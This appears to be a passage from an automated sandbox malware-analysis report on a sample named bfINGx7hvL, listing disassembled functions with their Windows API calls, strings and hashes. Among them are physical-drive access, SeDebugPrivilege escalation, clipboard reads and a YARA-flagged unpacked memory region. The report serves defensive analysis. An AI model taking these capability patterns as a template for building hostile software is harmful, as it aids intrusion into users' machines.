`cb,, xrefs: 00F91411
ho, xrefs: 00F91A95
89>?, xrefs: 00F91612
`Y^_, xrefs: 00F915BA
J1, xrefs: 00F90BE9
1{z}, xrefs: 00F91453
lonq, xrefs: 00F91432
()./, xrefs: 00F915E6
-./ , xrefs: 00F9141C
<=2, xrefs: 00F9161D
89&', xrefs: 00F91557
twvy, xrefs: 00F91448
!"#m, xrefs: 00F91427
ti, xrefs: 00F90BF4
tuJK, xrefs: 00F91583
<=:;, xrefs: 00F9154C
KJML, xrefs: 00F90D89, 00F90D95

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: !"#m$()./$-./ $1{z}$89&'$89>?$9:;<$<=2$<=:;$J1$KJML$`Y^_$`cb,$ho$lonq$tuJK$twvy$ti${9$}e
API String ID: 0-3143562861
Opcode ID: 413d8ea3ea457b2b80a31d0a047ffe2c7e0a09391632f3cf7a89d01ebf83dfcb
Instruction ID: a6e0090a63e808470dbb73cb1d4b34d48508deb2b215aca9540dc1c467cbf8ac
Opcode Fuzzy Hash: 413d8ea3ea457b2b80a31d0a047ffe2c7e0a09391632f3cf7a89d01ebf83dfcb
Instruction Fuzzy Hash: A3A276B16083829FEB30DF15C880BABBBE1BF81750F14482DE5C99B291DB359844DF56

Function 004030E0 Relevance: 24.8, APIs: 9, Strings: 5, Instructions: 279windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 00403199
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004031D3
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 00403203
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0040328A
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004032B8
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004033DE
GetLastError.KERNEL32(?,00000001,00000001,?,?,B681F143), ref: 00403400
FormatMessageW.KERNEL32(00001300,00000000,00000000,00000000,00000001,00000000,00000000,?,00000001,00000001,?,?,B681F143), ref: 0040341F
LocalFree.KERNEL32(00000000,00000001,?,?,B681F143), ref: 0040344F

Strings

!@, xrefs: 004032E0, 00403372, 00403391, 004033A9, 0040345E
%c:, xrefs: 004032F2
0022, xrefs: 00403324
0016, xrefs: 0040317B
0029, xrefs: 0040343A

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Message$Peek$ErrorFormatFreeLastLocal
String ID: !@$%c:$0016$0022$0029
API String ID: 34859679-1726813969
Opcode ID: dc7b5e874a2ae3bdac38484c6e5221ba3121ef9d2838dd7060336bbf1e159380
Instruction ID: aad7e1dcbf248032c4912018da71e11fe657b3157fb3b886884f3b6823c270f9
Opcode Fuzzy Hash: dc7b5e874a2ae3bdac38484c6e5221ba3121ef9d2838dd7060336bbf1e159380
Instruction Fuzzy Hash: C3B19171E00308AAEB10DFA4CC46FDEBEB8BB14715F14452AF514BB2D1D7B86A048B99

Function 0041D0B0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 126COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(?), ref: 0041D148
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F), ref: 0041D163
GetLastError.KERNEL32 ref: 0041D16F

Strings

!@, xrefs: 0041D0F6, 0041D20C
PDSvc, xrefs: 0041D181, 0041D1C4
This service is used by Privacy Drive to perform additional operations. If this service is stopped or disabled, it will cause abn, xrefs: 0041D1B1
%spdsvc.exe, xrefs: 0041D11B
PrivacyDrive Service, xrefs: 0041D1BF

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: ErrorExistsFileLastManagerOpenPath
String ID: !@$%spdsvc.exe$PDSvc$PrivacyDrive Service$This service is used by Privacy Drive to perform additional operations. If this service is stopped or disabled, it will cause abn
API String ID: 2356968266-3248401929
Opcode ID: 014782290989219da5f6e7d60fa5059e811b8199ec2d4ddce0a92b82a47dd6ea
Instruction ID: 25f3e7894f02910a90036ffcbb16ce3f8a840d134bd79d6038c17c4fa65a3bde
Opcode Fuzzy Hash: 014782290989219da5f6e7d60fa5059e811b8199ec2d4ddce0a92b82a47dd6ea
Instruction Fuzzy Hash: BA41A071E00308DFCB00DFA4DC89AEEBBB4FB19315F10452AE511B3290D774A944CBA5

Function 00424260 Relevance: 19.5, APIs: 3, Strings: 8, Instructions: 236clipboardCOMMON

Download Yara Rule

APIs

Part of subcall function 004FFCFE: _malloc.LIBCMT ref: 004FFD16

OpenClipboard.USER32(00000000), ref: 004243DE
GetClipboardData.USER32(00000001), ref: 004243EA
CloseClipboard.USER32 ref: 004243F9

Strings

COPY, xrefs: 004243A2
Menu, xrefs: 004242FA
CUT, xrefs: 0042435E
PDEDIT, xrefs: 004242F5
Item, xrefs: 00424363, 004243A7, 00424412, 0042445F, 004244C9
SELECT_ALL, xrefs: 004244C4
PASTE, xrefs: 0042440D
DELETE, xrefs: 0042445A

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Clipboard$CloseDataOpen_malloc
String ID: COPY$CUT$DELETE$Item$Menu$PASTE$PDEDIT$SELECT_ALL
API String ID: 3280518109-2570738062
Opcode ID: 4d766201f953f0f62a6a44b19e5f2a713d3d091d040d9cb0aec08f6faf6e64eb
Instruction ID: af0c7febff64a2cb770cd02584ed81d846506efae0f0cf1189369059b4be274b
Opcode Fuzzy Hash: 4d766201f953f0f62a6a44b19e5f2a713d3d091d040d9cb0aec08f6faf6e64eb
Instruction Fuzzy Hash: CE81C1703043009FE710DF229855B6BBAE4FB84754F00492EFA96963C1DBB4D9098BAA

Function 0045D070 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 173fileCOMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 0045D0C2
CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000,00000000,005BE234,7508EB20,005783F0), ref: 0045D0E0
DeviceIoControl.KERNEL32(00000000,00074080,00000000,00000000,?,00000018,?,00000000), ref: 0045D12A
_memset.LIBCMT ref: 0045D16A
DeviceIoControl.KERNEL32(00000000,0007C088,00000200,00000020,?,00000210,00000000,00000000), ref: 0045D1E9
CloseHandle.KERNEL32(00000000), ref: 0045D29E

Strings

4[P[, xrefs: 0045D084
4[P[, xrefs: 0045D2BA
\\.\PhysicalDrive%d, xrefs: 0045D0B1

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: ControlDevice$CloseCreateFileHandle_memsetswprintf
String ID: 4[P[$4[P[$\\.\PhysicalDrive%d
API String ID: 3128168039-1343652002
Opcode ID: 995b0b6a9c7836ec1f9f514e6d2d7ddf075d870c64d39bc998f6d00fbd4d6d75
Instruction ID: 1d6612d58995b57a00baa1f531f9c234147f1bdc39e549ac61d4751d187f5a77
Opcode Fuzzy Hash: 995b0b6a9c7836ec1f9f514e6d2d7ddf075d870c64d39bc998f6d00fbd4d6d75
Instruction Fuzzy Hash: 9A513B71E4031C9ADB20CB24CC85BEA77B4FF45700F1481E9E989A72C2DA755A89CF94

Function 00476750 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 121COMMON

Download Yara Rule

APIs

LookupAccountNameW.ADVAPI32(00000000,?,?,00000064,?,?,00000001), ref: 004767B7
GetSidIdentifierAuthority.ADVAPI32(?), ref: 004767C9
GetSidSubAuthorityCount.ADVAPI32(?), ref: 004767E6
GetSidSubAuthority.ADVAPI32(?,00000000), ref: 0047684A

Strings

!@, xrefs: 00476834, 0047689F
%lu, xrefs: 00476858
P, xrefs: 00476797
d, xrefs: 00476786
S-1-%lu, xrefs: 004767D4

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Authority$AccountCountIdentifierLookupName
String ID: !@$%lu$P$S-1-%lu$d
API String ID: 4104353294-1107859586
Opcode ID: b655fc8ef84fcb31732102b16d4b07e836e98adce3f92c00db97f488b93166ca
Instruction ID: 4c0d7b7dcbf8e319412ba715ebb94211a9b64f87439bb915675130a803821b7e
Opcode Fuzzy Hash: b655fc8ef84fcb31732102b16d4b07e836e98adce3f92c00db97f488b93166ca
Instruction Fuzzy Hash: F441C1719016189BDB20DF65CC49BDEB7F8FF05304F1186AAE519A3290E7346B48CF91

Function 004D3270 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000020,?,?,?,?,?,?,00410725,?,00000000), ref: 004D3286
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,00410725,?,00000000), ref: 004D328D
LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 004D32A9
CloseHandle.KERNEL32(?), ref: 004D32B6
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 004D32E2
CloseHandle.KERNEL32(?), ref: 004D32EB
GetLastError.KERNEL32 ref: 004D32F1

Strings

SeDebugPrivilege, xrefs: 004D32A2

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 3435690185-2896544425
Opcode ID: be123d20fa19872550351cc9b7dea758de74ab990b1cd2a2551b9cda6699abe5
Instruction ID: 9061d5ce5d7778e8bc93044a28d0dfe5c08405113d4df04e15f21e32a4d0d05f
Opcode Fuzzy Hash: be123d20fa19872550351cc9b7dea758de74ab990b1cd2a2551b9cda6699abe5
Instruction Fuzzy Hash: 80115275A4030DABDB00AFB0DC1EBBE7B79FB15702F104059F905E61E0DA705908EB55

Function 00422070 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000011), ref: 004220AD
GetKeyState.USER32(00000012), ref: 004220C9
GetKeyState.USER32(00000010), ref: 004220E1
GetKeyState.USER32(00000011), ref: 004220FA
GetKeyState.USER32(00000012), ref: 0042211B
GetKeyState.USER32(00000010), ref: 0042213C

Strings

N/A, xrefs: 004221A8

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: State
String ID: N/A
API String ID: 1649606143-2525114547
Opcode ID: 58b50a0c3e48e1489f749ce2695fbba5d93f518a211508e8727432d17dfcf3b9
Instruction ID: df62c2d8d3cb7637959c9b5c41f206f96db34c0fe90884c921772fc30bfac8c6
Opcode Fuzzy Hash: 58b50a0c3e48e1489f749ce2695fbba5d93f518a211508e8727432d17dfcf3b9
Instruction Fuzzy Hash: B931EA3530122777DF3C8928ED50FFFB265AB41380F85402FDA4696390CEF86851D659

Function 0052D130 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,Microsoft Base Cryptographic Provider v1.0,00000001,F0000020,?,?,?,0052D081,?,00000000), ref: 0052D154
CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Base Cryptographic Provider v1.0,00000001,F0000028,?,?,0052D081,?,00000000), ref: 0052D16B
CryptGenRandom.ADVAPI32(00000000,?,00000000,?,?,0052D081,?,00000000), ref: 0052D17B
CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,0052D081,?,00000000), ref: 0052D18B
CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,0052D081,?,00000000), ref: 0052D198

Strings

Microsoft Base Cryptographic Provider v1.0, xrefs: 0052D145, 0052D161

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Crypt$Context$AcquireRelease$Random
String ID: Microsoft Base Cryptographic Provider v1.0
API String ID: 3586192267-291530887
Opcode ID: f9fb1fd96296513a19a0fb0b5989b8f15f5e9bbd83fbc89c04d3d9c56315c62b
Instruction ID: 413c3628df44866d44bf2ce7f88935014fbe02c43720695b9fcd4a057f8b2346
Opcode Fuzzy Hash: f9fb1fd96296513a19a0fb0b5989b8f15f5e9bbd83fbc89c04d3d9c56315c62b
Instruction Fuzzy Hash: F0F0813164131DBBEF108B94DE49F9A7B7CEB09761F100041F908F2590D6B19E54DBA0

Function 00F811B2 Relevance: 9.1, Strings: 7, Instructions: 390COMMON

Download Yara Rule

Strings

6(>*, xrefs: 00F8150F
=:li, xrefs: 00F81507
MSO, xrefs: 00F81314
Ga!1, xrefs: 00F814FF
IK, xrefs: 00F8130C
2$1., xrefs: 00F81545, 00F8154D
ZABC, xrefs: 00F8131C

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: 2$1.$6(>*$=:li$Ga!1$ZABC$IK$MSO
API String ID: 0-2205979412
Opcode ID: 6f5fb733ebc5f304785a0cad369c011f03ff98ce4417e72d8a49ee95e203c399
Instruction ID: 88d7d41f68e04c6652bc2e3f7eeef3a02889f127cebc582460e3b130ea71e78d
Opcode Fuzzy Hash: 6f5fb733ebc5f304785a0cad369c011f03ff98ce4417e72d8a49ee95e203c399
Instruction Fuzzy Hash: E0D18EB090C3808BD311EF18C490A9EBBE5BF96744F580E1CE4D59B352D335C94AEB96

Function 0040D0B0 Relevance: 9.0, APIs: 6, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?), ref: 0040D0DD
EnterCriticalSection.KERNEL32(?), ref: 0040D0E9
RpcBindingFree.RPCRT4(005C0BE4), ref: 0040D0FA
LeaveCriticalSection.KERNEL32(?), ref: 0040D112
SetEvent.KERNEL32(?), ref: 0040D11B
CloseHandle.KERNEL32(?), ref: 0040D124

Part of subcall function 0040CDF0: EnterCriticalSection.KERNEL32(?,B681F143), ref: 0040CE2C
Part of subcall function 0040CDF0: RpcStringBindingComposeW.RPCRT4(00000000,ncacn_ip_tcp,localhost,9382,00000000,00000000), ref: 0040CE5A
Part of subcall function 0040CDF0: RpcBindingFromStringBindingW.RPCRT4(00000000,005C0BE4), ref: 0040CE70
Part of subcall function 0040CDF0: RpcStringFreeW.RPCRT4(00000000), ref: 0040CE7E
Part of subcall function 0040CDF0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,00503130,005938C8,000000FE), ref: 0040CF1C

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: BindingCriticalSection$String$EnterFreeLeave$CloseComposeEventFromHandleObjectSingleWait
String ID:
API String ID: 1618485030-0
Opcode ID: 49eb79fe447d7356ed6b4f90a1922c32806c2081b02803691e82cee08cb33607
Instruction ID: 9dcba7a7c6c7c6fd4f9f0b95d0ac065d6fba7649e0196199bdaad57700265c64
Opcode Fuzzy Hash: 49eb79fe447d7356ed6b4f90a1922c32806c2081b02803691e82cee08cb33607
Instruction Fuzzy Hash: 0F017135000704DFD3219FA5ED08B6BFBF5FF6531AF00452AE55A926A0C7B9B84AEB44

Function 00F9F577 Relevance: 9.0, Strings: 7, Instructions: 249COMMON

Download Yara Rule

Strings

L!Z', xrefs: 00F9F8E3
45, xrefs: 00F9F90B
W%];, xrefs: 00F9F8EB
T1L7, xrefs: 00F9F903
Y9B?, xrefs: 00F9F8F3
M-_#, xrefs: 00F9F8DB
\)K/, xrefs: 00F9F8D3

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: 45$L!Z'$M-_#$T1L7$W%];$Y9B?$\)K/
API String ID: 0-4037157281
Opcode ID: 000fa583c27e3bd1cf902c9d6b0d847f7fca54b88e81b478b20c270248eaddc6
Instruction ID: 01cc2dd403f7eafdc61fff8d552405c5d3126651439ca0805ebb371c3eb0f603
Opcode Fuzzy Hash: 000fa583c27e3bd1cf902c9d6b0d847f7fca54b88e81b478b20c270248eaddc6
Instruction Fuzzy Hash: E9A133B0508381AFE710EF54D880A1EBBF4AB96784F500A2DF6D4AB2A1D375D905CF67

Function 004D3220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00000000,00000000,BIN,?,?,0042BFB6,?), ref: 004D322B
SizeofResource.KERNEL32(00000000,00000000,?,?,?,0042BFB6,?), ref: 004D3242
LoadResource.KERNEL32(00000000,00000000,?,?,?,0042BFB6,?), ref: 004D324D
LockResource.KERNEL32(00000000,?,?,?,0042BFB6,?), ref: 004D3254

Strings

BIN, xrefs: 004D3224

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID: BIN
API String ID: 3473537107-1015027815
Opcode ID: 9dbd3ab9d203872fc2464589ca7f3cb3c7331685dc78100c047ace200e97a6ec
Instruction ID: d1cee1dccf38ab8349605ff019cd5728398340d1e76fe9d44ad9a7f381d51279
Opcode Fuzzy Hash: 9dbd3ab9d203872fc2464589ca7f3cb3c7331685dc78100c047ace200e97a6ec
Instruction Fuzzy Hash: 09E06D32600B146BD2201FA6AC1CF6B7BACEBD6B23F04006AFA09C2340DA649805D771

Function 00F72CB5 Relevance: 8.5, Strings: 6, Instructions: 960COMMON

Download Yara Rule

Strings

0, xrefs: 00F738F0
0, xrefs: 00F73FA9
0, xrefs: 00F73949
@, xrefs: 00F7414B
i, xrefs: 00F744C7
0, xrefs: 00F738C3

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: 0$0$0$0$@$i
API String ID: 0-1499800099
Opcode ID: bfdcd44171e054af30594285362d8ec87d0cf3f40a53c01fd1d8bb4925963302
Instruction ID: bcd2b1224c4d2a8ad3d5c129491650370835bb6539e715ac895ea0047439ec05
Opcode Fuzzy Hash: bfdcd44171e054af30594285362d8ec87d0cf3f40a53c01fd1d8bb4925963302
Instruction Fuzzy Hash: 4772AD71A083419FD718CE28C59076ABBE1ABC9714F14C92EE9DD87391D734ED09AB83

Function 0051B680 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

R != NULL, xrefs: 0051B6E3
modulus != NULL, xrefs: 0051B6FB
3`C, xrefs: 0051B696
G != NULL, xrefs: 0051B6CB
k != NULL, xrefs: 0051B6B3
